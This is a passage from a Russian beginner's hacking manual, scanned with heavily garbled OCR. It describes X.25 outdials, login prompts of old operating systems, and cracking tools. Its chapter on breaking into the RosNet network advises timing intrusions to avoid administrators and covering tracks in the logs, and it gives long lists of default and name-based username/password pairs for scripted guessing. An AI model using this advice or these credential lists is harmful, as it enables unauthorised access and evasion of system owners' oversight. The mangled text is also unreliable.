NmeeTcsa MHOXeCTBO KOMITIBIOTECPOB JId IIPOCMOTpPaA C TpEMA HOMEpaA-
MU, TaK YTO HE CTOUT 3aHUMATbLCA 6C3yMCTBOM ¢ OONBIINMU paClINPpECHUAMMUN.

HMHoraa mpu TMOMBITKE COeNMHEHUsI OyIeT MPOXOAUTh OIHA WM JBE
MUHYTBI OXKUAaHUsA. B 9TOM ciiydae Bl MOXeTe TIpepBaTh CBSA3b MOCPEICTBOM
JKECTKOTO pa3pbiBa, 3aTeM, ITOCJIe TOTO KaK BHOBb CUCTEMa BBIIACT

@ prompt

Habepure «D» 7151 OTCOeTMHEHMSI.

Outdials

Kpome xommbiotepoB, NUA MOXeT NOAKIIIOYUTh BaCc K HEKOTOPBIM
JIIPYTUM BelllaM.

OnHa u3 Hauboiee moae3Hbx — outdial. Outdial — 3T0 He Gosee yeM
MOJIEM, KOTOPhIM MOXHO 3aHSThCS IO telenet — mogoOHO KOHILEILIMU TIpe-
caenoBanus PC, 3a UCK/IIOUEHHUEM TOT'O, UYTO TYT HE MCITOIb3YHOTCS ITapOJIN.
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Ilocne coenvHeHU BBl MOJYYUTE COOOLIEHNE, TOTOOHOE
Hayes 1200 6opa outdial, Detroit, MI

unm

VEN-TEL 212 Modem

WY, BO3MOXHO

Session 1234 established on Modem 5588

Jly4dimiuii cnoco® BBISICHUTh KOMaHbl COCTOUT B TOM, YTOObI Hare-
yatatb «H» wu «Help» — 370 gact Bam Bcro uHdopMaluio, Kotopast He00X0-
Ma.

IMoackaska mo 6e30MacHOCTH 3[eCh — KOTIa BblI OylIeTe B3JIaMbIBaTh
KaKkyo-1100 cucteMmy yepes TeseOoHHbIN J03BOH, BCeTaa UCTIob3yiiTe outdi-
al nunu diverter, ocoOeHHO ecjiu 3TO MECTHBIII HoMep TeedoHa. MHorue Jto-
T 3aHUMAIOTCST XaKUHTOM Ha MECTHBIX KOMITbIOTEepax.

Jpyrast xopoiiiasi yJoBKa, KOTOPYIO Bbl MOXETe NMPUMEHUTh ¢ outdi-
al, — Mcrnojb30BaHUe MOBTOPHOTO Habopa WM (YHKIMI MaKpOKOMaHIbI,
KOTOPYIO MHOTME U3 HUX UMeIOT. [TepBast Belllb, KOTOPYIO Hallo CeIaTh Moc/e
coeIMHEeHUs, — BbI3BaTh «I10BTOpHBINM HabOp MociaeaHero Homepa» (Redial
last number). DTo GyaeT HOMEP TOTO YeJI0BEKa, KOTOPbI UCIIOIb30Bal KaHA
10 Bac. 3aMuIInTe ero, MOCKOJbKY HUKTO He BbI3Bal Obl HOMED 0€3 HATU4YUs
KOMIIbIOTEPA Ha HEM. DTO — XOPOIIUii COCO0 HAWTH HOBBIE CUCTEMBI JIJIST Xa-
kuHra. ng VENTEL-monema HaGepure «D», u BaM OyneT mokasaHO IISITh
HOMEPOB, COXpPaHEHHBIX KaK MAaKPOKOMAaH bl B MaMSITH MoJieMa.

W HakoHell, BBI MOXeTe COCAMHATBCS C TEM, UYTO HasbiBaeTcs «X. 25
Communication PAD», mosyunB HecK0JIbKO 0oJibllle MaTeprajia, COMpPOBOX-
JlaeMoro nojckaskoit @. Oro PAD, TouHO Takoii Xe, KaK TOT, C KOTOPbIM pa-
OoTaeTe BbI, 32 UCKJIIOYEHMEM TOTO, YTO BCE MPEATIPUHSTHIE TMOIKIIOUYCHUS
o0bsiBsIIOTCSI PAD, M03BOJISISI BAM COEAMHUTBCS C TEMU Y3JIaMU, KOTOPbIE pa-
Hee 0TKAa3aJIuCh OT MOJAKIIOYEHUSI.

Korma naker nepenan ot PAD x PAD, oH comepXuT 3arojioBoK, B KO-
TOpOM pa3MellieHa MHGpOpMAalLMs O BallleM MECTOIoJoXeHuu. Hampumep,
KorJa Bbl BHavajie coennHsieTech ¢ Telenet, BaM MOXET ObITh COOOILIEHO

212 44A Connected
€CJIM BBl 3BOHUTE C KoJa ropoaa 212. BTo 03HayaeT, YTo Bbl BbI3bIBAIU

Homep 44A PAD B 212 obnactu. 21244A GyaeT mpocTaBlIeHO Ha 3arojoBKe
BCEX OTIPABJISIEMbIX ITAKCTOB.

Kaxk Tonpko B coenuHsieTech ¢ YacTHRIM PAD, Bce makeThl, BBIXOISI -
IIMe OT Bac OYAyT MMETh 3TOT afipeC Ha HUX, HO HE Balll. DTO MOXET OBITh 10-
CTaTOYHBIM OyhepoM MeXIly BaMu.



PyKOBOACTBO AASl HAYMHAIOLLUX 47

naBa 4.
NaeHTndukaumusa onepaumMoHHbIX CUCTEM

He uMeeT 3HaYeHUST, KaK BbI HAIITM KOMITBIOTED, 3TO MOTJIO IIPOU30ii-
TH Yepe3 CeTh UJIM MOTJIO OBITh OOHAPYXXEHO TP MIOMOIITN CKAaHUPOBAHUS Te-
JepoHHOTO TIpedhrKca Ballleli YHUBEPCUTETCKON ceTh. BaxkHo, 4TO BHI yXe
MMeeTe MOACKAa3KYy, W BBl 3a/1aeTe cebe BOIMPOC: KAKOTo YepTa 3TO 3HAYUT?

Mb1 He cobupaeMcst 0ObSICHATh BaM, UTO MOXKHO CIejaTh, KaK TOJIbKO
Bbl OKaXE€TeCh BHYTPU KaKOi-IMOO OINepalMoOHHON cucTeMbl. MBI paccka-
KeM, KaK UIEHTU(PULIMPOBATh U paCIIO3HATh HEKOTOPBIC ONEPALlMOHHBIE CHC-
TEeMbI U KaK MPUOJIM3UTHCS K XaKUHTY B HUX, KaK UMETh JIEJI0 KOE C YeM, YeTO
Bbl HUKOT/Ia HE BUJIEJIU TIPEXKIIE.

VMS

VAX-xomnbiotep co3naH Digital Equipment Corporation (DEC) u BbI-
nonHseT VMS (BupTyaiabHas cuctema IaMsITh) OIepalliOHHYIO CUCTEMY.

VMS ompenensieTcs 1Mo MmoacKasKe:
USENAME

OHa He OyneT cooOllaTh BaM, €CJIM Bbl BBEJIM HEMPaBUJIbHOE HUMSI
MOJIb30BaTeNIsl, U OTCOSIMHUT Bac MOCJe TPeX HeYAauHbIX MOMBITOK BXOAa B
cucreMy. TakKe oHa CJIEAUT 3a BCEMU HEyAauHbIMM MOIMBITKAMU BXO/a B CHU-
CTEMY U COOOIIAET BIAJebIly YUETHYIO 3alMCh IIPU €TO CJAEAYIOIIEM BbIXOIe
B CETb.

DT0 — oHa U3 HanboJiee 6e30MacHbBIX ONEePaIMOHHBIX CUCTEM, YTO Ka-
caeMo 3aIlllUThl OT BHEIIHETO MPOHUKHOBEHUsI, HO U 3IeCh UMEETCS MHOTO
VJIOBOK T 00xoza 3aimuThl. VAX Takke UMeEeT JIydInii Habop CIpaBOYHBIX
(aiinos B mupe. Tonbko Habepute «HELP» u unTaiire.

DEC-10

DEC-10 — 6onee paHHue Moaenu obopynoBaHust komnbiotepa DEC,
zamnyckatonie TOPS-10 onepaliioHHY0 cUCTEMY. DTU MalllUHBI MOTYT OBITh
OIO3HAHBI O MOACKA3KE «.».

Cepust DEC-10/20 BecbMa apykecTBEHHa K XaKepam, TTO3BOJIsISI BBEC-
THU HECKOJIbKO BaXXKHBIX KOMaH[I 6e3 Kakoi-11m00 perucrpauuu B cucteme. Ot-
YETHOCTb HaXOAUTCS B hopMate [XxX, yyy|, Te XXX U yyy — Liejbie uncia. Bor
MOXKETE MOJYYUTh JIUCTUHT OTYETHOCTH U UMEH TIpOolIecca KaXIoro Ha CUcTe-
Me Tiepe]] perucTpauueit mpu oMol KOMaH bl .systat (111 CUCTEMHOTO CO-
CTOSIHUS).
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Ecnu yyetHas 3anuch yutaercs kak [234,1001] BOB JONES, To Mox-
Ho nonpo6osath HabpaTh BOB miau JONES unu 3tu nBa cioBa BMecTe aist
apoJisi Ha 3To# yueTHOM 3anucu. YToObl BOMTH, BBl IIeUaTaeTe:

.login xxx, vyyy
U 3aTeM, TIocJIe 3arpoca, HabupaeTte 1apoib.

CucTtema NO3BOJIUT BaM HEOTPaHUUYEHHBIEC TOMBITKY MPOHUKHOBEHUS
1 HEe COXpaHsIeT OTYEThl HEYIAUHBIX MOMBITOK BXO/a B cUcTeMy. Takke oHa co-
obmut Bam, eciu UIC, kotopriii Bel ipodyete (UIC = Kon Maentuduxanuu
Ilonp3oBaress) miox.

UNIX

HmeeTcss MHOXECTBO Pa3IMYHBIX MAllMH, HA KOTOPBIX YCTAHOBJIEH
UNIX.

B To BpeMst Kak HEKOTOpPbIE MOTJIU Obl I0Ka3bIBaTh, YTO 3TO HE JIydlIast
ornepalMoHHasi cucTeMa B MUpe, OHa HanboJiee IUPOKo ucrnob3yema. Curc-
tema UNIX GyneT oObIYHO BbIIaBaTh MOJACKA3Ky HAIOa001e

login:
B cTtpouHbix 6ykBax. UNIX Taxske macT BaM HeOTrpaHUYCHHBIE TTOITBIT-

KU TIpY perucTpauuu (B OOJbIIMHCTBE CJIyYaeB), U HE UMEETCsI OOBIYHO HUKA-
KOTO XypHaJia, COXpaHSIOIIET0 HeyJauHbIe TOTBITKY.

Prime

KomMnrsiotepsl hupmbl Prime, Kak rnmpaBuio, UCIOJIb3YIOT ONlepaliOH-
Hylo cucteMy Primos. Ee oueHb IpocTo ornpeneauThb 1Mo Haamucu

Primecon 18.23.05

WY YEeTO-TO TMOMOOHOTr0, B 3aBUCHMMOCTH OT BEPCUU OIEpallMOHHOM
cucreMbl. OOBIYHO He OYAET IpeaiaraTbCsl HUKaKOI MOACKa3Kuy. TaM, rie 1mo-
SIBUJIACh 9Ta HAAMUCh, HabepuTe

login <username>

Ecnu ato Bepcuu 1o 18.00.00 Primos, BbI MOXeTe HaxkuMaTh cBsI3Ky “C
st mapoiist. K coxaneHuto, 60JbIIMHCTBO JIIOACH UCMOAb3yeT Bepcuu 19 +.
Primos Takxke pacrojiaraeT XopoiuuM HabopoM cIipaBouHbIX (daitioB. OnHa
U3 HauboJiee MoJjie3HbIX ocobeHHocTell Prime Ha Telenet — ycTpoiicTBO 1O
nMeHnu NETLINK. Kak Ttonbko Bel — BHYTpM, HanedaTaiite «NETLINK», u
cienyiiTe ykazaHUsIM CIIPaBKU. DTO MTO3BOJIMT BaM coenHAThCsl ¢ NUA'MU Bo
BCEM MUPE, UCITOJIb3YSI KOMAaHIy «NC».

Hanpumep, uto6s coenrHuThest ¢ NUA 026245890040004, BBI 10K~
HbI HaOpaTh
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@nc:26245890040004
B roackaske netlink.

HP-x000

Ota cucrema caenaHa Hewlett-Packard. Mx xapakrepHas moackaska
«». HEWLETT-PACKARD umeeT onHy 13 60Jiee CIOXHbBIX MTOC/e10BaTe N b-
HOCTEl BXOJla B CUCTEMY U3BHE — Bbl HabupaeTe:

HELLO SESSION NAME, USERNAME, ACCOUNTNAME, GROUP

K cuactbio, HeKOTOpBIE U3 3TUX MOJIEH MOTYT OBITh OCTaBJIEHBI ITYCThI-
MM BO MHOTHX cJTy4asix. Tak Kak JIroOble WJIM BCE 3TH IOJISI MOTYT OBITh 3ara-
pOJIMPOBAaHBI, 3TO — HE caMasl IIPocTasl CUcTeMa JUIsl TPOHUKHOBEHMSI, €CITU
OBl He (haKT, YTO UMEETCSI OOBIYHO HEKOTOpPasi OTYETHOCTh BOKPYT 6€3 mapo-
Jieii. BooOiiie, ecyi 3HaYeHMST TT0 YMOJTYaHUIO He paboTaloT, Bbl OyleTe J0JIK-
HbI TIPUMEHUTD TPYOYIO CUJTY, UCTIONb3Ys OOBIYHBIN CITMCOK TMOJb30BaTEIICH.
HP-x000 Bermonasier MPE onepanyoHHyIo cucteMy, moackasKa il Hee Oy-
JIET «:», TOYHO TaK Xe, KaK MoJcKa3Ka BXoJa B CUCTEMY.

IRIS

IRIS coznan mis Interactive Real Time Information System (MHTepak-
THUBHAs1 UHOOPMALIMOHHAS CUCTEMA B PeXHMe peaibHoro BpeMeHM). [lepBo-
HayaJabHO OHa BbINoJiHsU1ach Ha PDP-11'S, Ho Tenepp BbIMOMHSIETCS] HA MHO-
rux apyrux MuHn->BM. Bel moxete onpenennts AMPUC 10 3aronoBky

Welcome to «IRIS» R9.1.4 Timesharing
U TIOJICKa3Ke
ACCOUNT ID?

Iris mo3BoJIsIET HCOIrpaHMYCHHLBIC ITOMNBITKU ITPHU XaKMHIC U HE COXpa-
HACT HUKaKUX XYPHaJIOB HEYJAaYHbIX ITOITBITOK.

VM/CMS

VM/CMS — omnepauroHHas cuctema, BeinoiHsemast B IBM (Interna-
tional Business Machines). Korna Bbl coenuHsieTeCh C OQHOM U3 HUX, BbI ITOJIY-
YUTE COOOIIEHME, HAIlo100ue

VM/370 ONLINE

3aTeM IOJICKA3Ky «.», TOUHO TakK ke Kak B Tops-10. YToObI BoiiTH, Ha-
Gepure:

LOGON <username>.
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NOS

NOS coznansl st Networking operation system M BBITTIOJTHSIIOTCSI Ha
komnblotepe Cyber, cosnanHom Control Data Corporation. NOS unentudu-
IIUPYIOT CeOsT C TOTOBHOCTBIO, C 3aTOJIOBKOM

WELCOME TO THE NOS SOFTWARE SYSTEM. COPYRIGHT CONTROL DATA
1978, 1987

IMepBast moacKaska, KOTOPYIO BBI TTOJIyYUTE, OyAeT

FAMILY:

B oTBeT HY>KHO TOJIbKO Haxath return. Toraa Bl OJYYUTe MOACKA3KY
user name:

MmMeHa nonb3oBartesisi — TUMMMYHBIE 7 CUMBOJIOB OYKBEHHO-11M(POBO-
ro xapaktepa. OtyeTHocTh Omneparopa HauuHaeTcs: ¢ uudpsbl, Tuna 7ETP-
DOC.

Decserver

DTO He CoBceM KOMIIBIOTEpHAs CUCTEMA, 3TO, CKOPEN, CETeBOM cepBep,
KOTOPBLI MMEET MHOIO Pa3jUYHbIX MAIlWH, JOCTYIIHBIX C €r0 ITOMOIIBIO.
Decserver MOXeT cKa3aTh:

Enter Username>

II0CJIC IEPBOro COCANHCHUA. DTO — TOJIBKO I/I,I[GHTI/I(I)I/IK&TOI). Hamneua-
TanTe «C», TIOCKOJIBKY 9TO — HAaMMEHEEC 3aME€THAasdA BECIIb JJIS1 BBOAA. Torna Ber
MOXKETEC IMMOJYUUTH ITOACKa3Ky

Local>
HabGepurte 31ech
¢ <systemname>

YTOOBI COEAMHUTHCS C CUCTEMOI. JIJIsT TTOy4eHUsI CITMCKa CUCTEMHBIX
VMEH HareyaTamnre

sh servises
Wi
sh nodes

Ecnu y Bac ecTb Kakue-To MpooJeMbl, BCTpOEHHAsI MOACKa3Ka TOCTYI-
Ha no komaHzae «help». Miute ycayru no umeHu «modem», uinu «dial», viu
YTO-TO OJO0OHOE, OHU YACTO MOTYT OBITh MOJIE3HBI!

GS/1

GS/1 — mpyroii Tu ceteBoro cepepa. B ominune ot Decserver, Bbl He
MOXKeTe MpeAcKa3aTh T, KaKyio nmoackasky GS/1 o3 cooupaeTcst 1aTh BaM.
CraHpapTHasi IOACKa3Ka:
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GS/1 >

HO 3TO MpeIHa3HAYEeHO UISI CUCTEMHBIX aAMUHUCTPAaTOPOB. YTOOHKI Te-
ctupoBatb GS/1, Habupaiite:

sh d

Ecnu rmostBuTCsI 60JIBIION CITMCOK 3HAYCHHI 10 YMOJTYaHUIO (CKOPOCTh
TepMHUHAaJAa, MOoacKa3Ka, YeTHOCTh, M T.A.), MOXHO CMEJIO CKa3aTh, YTO BBI
Haxonutech Ha GS/1. Bbl coenuHsieTech TeM Xe caMbIM CIIOCOOOM, Kak
u ¢ Decserver, meuaras:

C < systemname >

UTOOBI BBISICHSITH, YTO CUCTEMBI SIBJISIIOTCS JOCTYIIHBIMU, HabepuTe:

sh n

I

sh C

Bce BBIIICYIIOMSAHYTOC — 3TO INIAaBHBIC TUIIBI CUCTEM, MUCITIOJIb3YyEMBIX
ceromHsi. Umerotcst coTHU BapHMaHTOB 3TUX CUCTEM, HO HAITMCAHHOIO 31€Ch
JIOJKHO OBITH J0CTAaTO4YHO, YTOOBI JaTh BAM BO3MOXHOCTb Ha4aTh.

fAnaBa 5.
CnncokK NporpamMm AAS1 HOYUHAKOLLEro
Xakepa

Huxe mpuBeieH CIMCOK MPpOrpaMm JUIsl HauuHaolero xakepa. CHa-
Yyajla MHCTPYMEHTHI: MaJIEHbKWI CIIMUCOK MPOrpaMM, KOTOPbI€ TOCTOMHBI Ha-
XOIUTHCS B apceHaJie JIo0oro xakepa. DT MporpaMMbl He CAEIaloT U3 Bac Xa-
Kepa ¥ UCIIOJIb30BaHME MX He 00s13aTeIbHO IJISI TOTO, YTOOBI CTaTh UM. DTH
WHCTPYMEHTHI (ITPOrpaMMbl) MOTYT IOMOYb BaM Y3HaThb MHOTO ITOJIE3HOTO
1 HEOOXOIUMOTO.

Toneloc v1.10

BTa mporpamMma ABJseTCsI CKaHepoM. 3agada 3TOi IporpaMMbl — IIPO-
CKaHUPOBaTh MECTHYIO TeJle(DOHHYIO TMHUIO HAa HAJTMIMe MOJIeMa Ha IPyToOM
KoH1e. Eciu mpucyTcTByeT MojeM Ha JAPYroM KOHILIe JUHWH, 3HAYUT, BO3-
MOXHa CBSI3b C YIAJIeHHBIM KOMITBIOTEPOM, He TaK Jiu?

Cracker Jack v1.4

Kpekep naposeit. Dta nporpamma padortaet nmoa JJOC, u 3agaya ee co-
CTOUT B HAXOXIEHUHW 1 B3TOMe Ttaposist mon FOHUKC.
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Hacker's Utility v1.02

DTa nporpamma BKJII0YaeT B cebsi MHOXECTBO MOJIe3HbIX yTUIUT. B Hee
BXOJIMT:

* KpeKep rnapoJiei

* reHepaTop napoJiei

* port scanner

* finger lookup

* file extractor u MHOTOE JIpyroe!

CyberKit v. 2.4
B aToit mporpamme ecthb:

* TraceRoute

* Whols

* Finger

* Name Server LookUp

* Time Synchronizer

* Quote of the Day u MmHOTOE IpyTOE.

PGP Freeware v5.0

Dra mporpamMma npeaHasHadeHa i mudpoBanus nHbopMayu. Te
mobunib cekpetHocTh? Jla? 3HauuT, 3Ta nporpamma aisa teds! M3yuu sty
MporpaMmmy, UCHoJIb3yii ee. 3aiundpyit CBOIO mouTy, 3amudpyii cBou daiiisl,
3amundpyii ceos!

7th Sphere PortScan v1.1

[lone3Hblil 1 O4eHb OBICTPBIN cKaHep MOpToB oT 7th Sphere. O4yeHb
TIPOCT B YCTAHOBKE U B paboTe.

A Ternepb J1Ba IJIaBHBIX MpaBUJIa :

1. YtoObl cTaTh XakepoM, MOHag00UTCsI MHOTO BpemMeHu. M Bce 310
BpeMsl Bbl JIOJKHBI TTOJTHOCTBIO MCTOJIb30BaTh. YTOOBI HAyYUTHCS YeMy-HU-
Oy/ib, €CTh OIMH TOJILKO IyTh — BbI IOJKHBI UUTATh, YUTATh U €111€ pa3 YUTATh.
Co BpeMeHeM y Bac OyayT MOSIBJISITECS BCE HOBBIE U HOBBIE BOIPOCHI, KOTOPBIE
BBl CMOXETe 3aJaTh TOMY, KTO 3HAaeT Ha HUX oTBeT. [locelaiite Kpakepckue
U xakepckue ¢Gopymbl!

2. N3yyaiite mporpaMMupoBaHue, A3bIK CKPUIITOB, a MPEATIOUTUTEb-
Heli s3pikM 1on, FOumkc (C++, Perl, JavaScript u apyrue). Takxke ciaemnyer
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usy4yatb OC Unix, npotokoisl TCP/IP . UMest 3HaHUSI B 3TUX 00JIACTSIX, BbI
CMOXeTe...

'naBa 6 (BmecTO npumepaq).
Kak nomaaacbk cetb POCHET

HeCKOAbKO OCHOBHbIX MOAOXXEHUN

1. I Havara BBl JOJDKHBI OCO3HATh, YTO HMYETO CEPhe3HOTO JIydilie
He XakaTh (JIU0O JejaTh 3TO OYEHb OCTOPOXHO), TaK KaK Bac MOTYT OYCHB
OBICTPO HaATH. [IeJT0 B TOM, UTO Yy ATMUHHUCTPATOPa CUCTEMbI BBICBEUMBACTCS
Kyda Bcsikor nHdopmarmu. C MOMOIIBIO 3TOM MHMOPMALIMK OH JIETKO OTIpe-
JIeJISIeT TOPOT, M3 KOTOPOTO BBI BOIILIN B POCHET, a Tak:kKe HOMEp y3J1a 1 HOMep
KaHaJia, 110 KOTOPOMY BHI BOIILIU; TAK3Ke BO3MOXHO OIPEACTUTh U TIPOMEXY-
TOYHYIO CETh, M3 KOTOPOU BBI BHIIUIM B POCHET. A 3Hast TOpOI, HE COCTAaBUT
GOJIBIIOrO TpyIda HAWTH U aOOHEHTa, KOTOPHI B 3TOT MPOMEKYTOK BPEMEHU
BHCEJI Ha HoMepe Bxoaa B PocHeT. MOXXHO, KOHEYHO, BOMTH CHAYaja B OMHY
CeTh, 3 Hee B IPYryio, TIOTOM B TPETHIO M T.I., a MOToM B PocHer, aTo, Gec-
CITOPHO, 3aMEUTUT IMTOWCK, HO HE MUCKITIOYUT €TO0.

2. 3aHUMATBCS CBOMM <«T€MHBIM» JIeJIOM BBl HOJKHEI ¢ 20:00 (He pa-
Hee!) 1o 00:00 yacoB MecTHOTO BpeMeHU. Tak Kak B 3TO BpeMsI alMUHBI YK€ He
paboTaroT, a ciaeaoBaTe/IbHO, He CIeAdaT 3a cucteMoii. Buumanue! MHorna,
OYEHb PEIKO, aIMUHBI paboTatoT KpyriocyrouHo. A BeiiiTh 10 00:00 HyXXHO
moromy, uro Pemapr peructpupyer gaty rocienneii csa3u, a B 00:00 Bcs nH-
dbopmanust ooHysIeTcss. OOHYIUTh MHGOPMALIMIO MOXHO U JPYTMM CITOCO-
6om — mroBecuB PeMapT. Takke cliemyeT TOMHUTD, YTO BO MHOTUX CUCTEMax
MPOU3BOAMUTCS 3aKPbITHE X0CTa Ha HOUb (00b1YHO 3TO mepuon 00:00—03:00).
Hwuxkorga He mbITaiiTech 4YTO-HUOYIL CJIOMATh THEM WJIU YTPOM, BCe BaIIIH 1O-
MTBITKK OYAYT MpeceveHbl, a €CJIM aIMUH CHJIBHO pacCepAauTCs, TO M IEMO-BXOI
3aKpOeT.

3. lNepen TeM, KaK 4TO-HUOYIb XaKaTb, BOMIUTE Ha XOCT MO TOCTEBBIM
rmaposieM (ecjau TaKOi UMEETCsI) M Cpa3y Xe BBEAUTE «/U», YTOOBI yOeIUThCS,
YTO B JaHHBI MOMEHT B CUCTEME HET aIMUHA WIM JIUII, K HEMY TTPUOIMKEeH-
HbIX. Kak ToJbKO yoenuanch, 4To aqM1MHa HET, BBOAUTE «/T», YTOOBI TTOCMO-
TpeTh, HACKOJBKO JaBHO aAMUH ObLI B cucteme. Ecium Bce OK — mpucry-
raiire...

4. Eciii BBI 3a11U11 B CUCTEMY, Cpa3y MOMNBITAUTECH 3AJIE3Th B JUPEKTO-
PUIO aAMUHUCTPATOPA CUCTCMBbI

GO ADMIN
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peaKo, HO MHOT/IA MOJY4YaeTcs, €C/v CIPOCIT Napojib — MOMbITANTECH
moao0paTh (XOTS aAMUHbI JIIOOST aOCOIIOTHO «JIeBbIe» KPyThie mapoJiu). B nu-
PEKTOpUM aiIMUHA €CTh Ky4ya (haiijioB ¢ HAUTOJIe3HeHIIel nHpOPMaLIUEId.

5. IIpoGpaBiIKUCh TIO B3IOMAaHHBIM JIOTUHOM B MEHIO PEeTHMCTpaluu,
HU B KOEM CJIydae He MEHSIITE IMapoJib aDOHEHTa 1 He TTePEBOINTE €T IeHbI U
Ha JAPYroi cueT. AIMUH 3TO 0053aTeIbHO 3aMETHUT U TIPUMET MEPBI.

6. ITocie Toro, Kak Bbl Ja3UIU O YbMUM-TO JIOTUHOM, 00S13aTEIbHO
repe3aiiiuTe Moj rocTeBBIM BXOJOM N'HOE KOJUYECTBO (Be3le MO-pasHOMY)
pa3. DTUM Bbl 3a0beTe MHGMOPMALIMIO O BXOAUBIINX MMOJIb30BATENSAX — «/T» Oy-
JIET MOKa3bIBaTh, YTO MOCJIEAHUE NECSATh Pa3 B CUCTEMY BXOJWII «TOCTh».

7. Ecau BbI Aefajid 4TO-TO, YTO APYTMM 3HATh HE 00513aTeIbHO, 00s13a-
TeJIbHO MOBBOANTE KaKOW-HUOYIb MaKpoc (MMPUMEPHO TPUILIATL pa3). DTUM
BbI UCKJTIOUUTE ITPOCMOTP BLIMMOJIHABIIMUXCA BAMW KOMaHI ITO «/C .

Kak HanTty Bbixoa B POCHET

Howmep Tenepona PocHeTa BbI MOXeTe y3HATh OU€Hb MTPOCTO — U3 CIU-
cka tenedonoB PocHera mo CHI'. Ho Bo3MOXHO, 4TO yKa3aHHBIE HOMEpa yxkKe
He SIBJISIIOTCS BBIXOAOM B POCHeT, Tak KaK UX MOTJIU MO KaKOW-HUOYAb MPUYH-
HE CMEHUTb. B 3TOM ciiydyae Bbl MOXETE 3aHSIThCSI CKAHMHTOM. To ecThb B3SITh
CKPUIT UM COOTBETCTBYIOIIYIO MTPOrpaMMy U Niepedpatbh HoMepa B ropojie Ha
NpeaMeT KOHHEKTa.

OnpeaeAeHne cuctemMbl U O6HAPY)XeHne
rocTeBoro BXxoad

J11s1 GOJIBIIMHCTBA XaKOB BaM HY:KHO MMETb XOTSI Obl MMHUMAaJIbHbBIN
JIOCTYIT Ha XocTe. [ToaToMy MBI pelllJIM HauyaTh UMEHHO ¢ 3Ttoro. Mrak, no-
IyCTUM, Y Bac €CTh rOpKa aApecoB pa3HbIX XOCTOB, YTO K€ IejaTh Jajblie?
HyxHo npoBepuUTh paboTOCIIOCOOHOCTD 3TUX aAPECOB, BBISICHUTD, KaKasl CUC-
TeMa TaM yCTaHOBJIEHA, YPOBEHb €ro 3allUILIEeHHOCTH U UMEET JIU 3TOT XOCT
TOCTEBOM BXO/.

Hrak, nonmyctuM, BbI 3allUTM HAa KaKOH-HUOYIb MPUIISTHYBIIUICS BaM
XOCT.

ITepBBIM AEIOM HYKHO TIOTIPOOOBATH OMPEIEIUTh CUCTEMY, KOTOpast
TaM yctaHoBjieHa. C X0y CUCTeMY MOXHO OTPENeTUTh, KOHEUHO Xe, 10 TIPH-
TJalIeHUIO.

JlanbIe uaeT HeCKOJbKO MpUIialleHNi, CBOMCTBEHHBIX TOM MJIM MHOMU
cuCTEME.
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Pemaprt
Display ANSI graphics ([Y]/N)? >
[...Kakoi-Hubyab TekcT (ero MOXeT u He ObTb)... ]
UserID :
Password:

AVNOHNC
ENTER YOUR NAME =>
PASSWORD =>
LANGUAGE =>

REX400
Logical Channel: 0
REX400 v4.54.02, Copyright (C) 1992-1996, Club400 Ltd.
<<< WELCOME TO REX400 ADMD=REX400 PRMD=RTS >>>
M) Mail H) Help
G) GateWay Q) Quit
Multi Host>

CISCO-MapwpyTtusarop
User Access Verification
Password:

Ecnu BbI 0OHapyxunu Pemapr, HauMHaiiTe MPOBEPSITH XOCT HA HAJIM-
Yyye rocTeBOro BXxoja, NonpooyiiTe cieaytonue KOMOMHAIIUN:

(UserID/Password):

Demo/Demo Test/Test Guest/Guest Gast/Gast Gost/Gost User/User
Demo/Guest Test/Guest Guest/Test Gast/Demo Gost/Demo User/Demo
Demo/Test Test/Demo Guest/Demo Gast/Guest Gost/Guest User/Guest
Demo/Gast Test/Gast Guest/Gast Gast/Test Gost/Test User/Test
Demo/Gost Test/Gost Guest/Gost Gast/Gost Gost/Gast User/Gast
Demo/User Test/User Guest/User Gast/User Gost/User User/Gost
Demo/New Test/New Guest/New Gast/New Gost/New User/New
Demo/Temp Test/Temp Guest/Temp Gast/Temp Gost/Temp User/Temp
New/New Temp/Temp

New/Demo Temp/Demo

New/Guest Temp/Guest

New/Test Temp/Test

New/Gast Temp/Gast

New/Gost Temp/Gost

New/Temp Temp/New

New/User Temp/User

[lepenpoOyiiTe Takke Bce IpMBEIEHHBIE KOMOWHAILIMM, IOO0aBIISIS
udpkl, HAIIpUMep:
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Demo1/Demo

Y T.1I., ITOTOM ITOIIPOOYIATE TPOCTO BHINIEIIPeBeACHHBIC JIOTHMHBI O¢3 T1a-
poneit. 111 yCKOpeHHsI 3TOTo Tpollecca MCIONb3yiiTe CKpUIIT. B cpemHeM 3a
HOYb OIVMH XOCT (TIPY TTOMOIIIM CKPUTIITA) BB «ITPOIITYIHPYETE».

ECAM roCcTeBOro BXoaod Het
Ecnu nemo-Bxoma He 0OHapyKeHO, MOIPOOYiiTe clieayroliee:
UUCP/UUCP

9TOT IMapoJb CTOUT B PeMapTe 110 YMOJITYaHHU1IO, 1 4aCTO aAMHWHBI 3a0bI-
BaroT €T0 CMCHUTD.

UucP/PCUU
Bo3MoxHO, mapoJib OyaeT Takoii.
UUCP/UUADMIN

A MOXET ObITb, U TAKOIA.

B ob1iem, nodaHTazupyiTe, MOXeT ObITh, YTO-HUOYAb U MOJYIUTCS.

Ecnu 3T0 He 1moMorio, MpoOyiiTe CleayIolue:

Alex/Alex Luda/Luda Boris/Boris
Ludmila/Ludmila Yura/Yura Dasha/Dasha
Alexey/Alexey 0Olga/0Olga Boria/Boria
Alexandr/Alexandr Egor/Egor Katia/Katia
Alexander/Alexander Igor/Igor Anna/Anna
Dima/Dima Vladimir/Vladimir John/John
Dmitry/Dmitry Vova/Vova Nik/Nik
Dmitriy/Dmitriy Vladymir/Vladymir Kolia/Kolia Diman/Diman
Dimon/Dimon Toma/Toma Eugene/Eugene Vlad/Vlad Sergey/Sergey
Elena/Elena Den/Den Serg/Serg
Segre/Serge Victor/Victor Gera/Gera
Gosha/Gosha Nikolay/Nikolay Tonya/Tonya
Gesha/Gesha Denis/Denis Viktor/Viktor
Helen/Helen Sasha/Sasha Leonid/Leonid
Ira/Ira Greg/Greg Marina/Marina
Iren/Iren Misha/Misha Andre/Andre
Irina/Irina Stas/Stas Andy/Andy
Lena/Lena Gena/Gena Andrey/Andrey
Lio/Lio Yuri/Yuri Oleg/Oleg

Lion/Lion Yury/Yury Kiril/Kiril

Leo/Leo Yuriy/Yuriy Eugeny/Eugeny
Max/Max Anton/Anton Eugeniy/Eugeniy
Maxim/Maxim Peter/Peter Evgeniy/Evgeniy
Petr/Petr Svetlana/Svetlana Artur/Artur



PyKOBOACTBO AASl HAYMHAIOLLUX 57

Slava/Slava Ivan/Ivan Yaroslav/Yaroslav
Mih/Mih Valera/Valera Yar/Yar
